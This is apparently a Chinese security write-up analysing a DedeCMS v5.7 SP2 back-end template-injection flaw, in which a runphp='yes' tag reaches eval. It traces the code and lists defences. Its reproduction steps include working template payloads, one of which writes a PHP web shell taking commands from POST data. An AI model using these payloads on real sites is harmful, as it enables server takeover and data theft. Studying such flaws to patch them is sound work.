DedeCMS v5.7 SP2后台SSTI到RCE再到GetShell
字数 1133 2025-08-22 12:23:36
DedeCMS v5.7 SP2后台SSTI到RCE再到GetShell漏洞分析与利用
漏洞概述
DedeCMS v5.7 SP2后台存在服务器端模板注入(SSTI)漏洞,攻击者在登录后台的前提下可以通过在模板中插入恶意代码实现远程代码执行(RCE)并最终获取服务器权限。
影响范围
- DedeCMS v5.7 SP2版本
利用条件
- 攻击者需要拥有后台登录权限
- 可以结合其他漏洞(如弱口令、CSRF等)获取后台权限
漏洞分析
漏洞原理
漏洞位于模板解析机制中,当模板中包含runphp="yes"标签时,系统会执行标签内的PHP代码。关键流程如下:
- 系统加载模板文件(
index.php->include/common.inc.php->arc.partview.class.php) - 通过
PartView类和SetTemplet函数设置解析模板 - 使用
DedeTagParse类解析模板内容 - 在
AssignSysTag函数中检测到runphp="yes"标签时调用RunPHP函数 RunPHP函数直接通过eval执行标签内的PHP代码
关键代码分析
-
模板加载流程:
index.php加载模板文件路径- 调用
MfTemplet函数处理模板路径 - 初始化
PartView类并调用SetTemplet函数
-
模板解析流程:
DedeTagParse类的ParseTemplet函数解析模板AssignSysTag函数处理特殊标记- 检测到
runphp="yes"时调用RunPHP函数
-
代码执行点:
if( $CTag->GetAtt('runphp') == 'yes' ) { $this->RunPHP($CTag, $i); }RunPHP函数最终通过eval执行代码。
漏洞复现
步骤1:登录后台
- 访问
/dede/login.php使用管理员账号登录
步骤2:编辑模板文件
- 进入"模板管理" -> "默认模板管理" -> "index.html"
- 点击"编辑"按钮
步骤3:插入恶意代码
在模板文件中插入以下payload:
{dede:field name='source' runphp='yes'}phpinfo();{/dede:field}
步骤4:保存并触发
- 点击"保存"按钮
- 访问网站首页触发代码执行
步骤5:获取Webshell
使用以下payload写入webshell:
{dede:field name='source' runphp='yes'}file_put_contents('shell.php','<?php eval($_POST[cmd]);?>');{/dede:field}
保存后访问/shell.php即可使用蚁剑等工具连接。
防御措施
- 升级到最新版本
- 限制后台访问IP
- 加强后台账号密码复杂度
- 修改默认后台路径
- 对模板内容进行严格过滤,特别是
runphp标签
总结
该漏洞利用DedeCMS模板解析机制中的代码执行功能,通过精心构造的模板标签实现RCE。虽然需要后台权限,但结合其他漏洞(如弱口令、CSRF等)可以形成完整的攻击链。开发人员应重视模板引擎的安全性设计,避免直接执行用户输入的代码。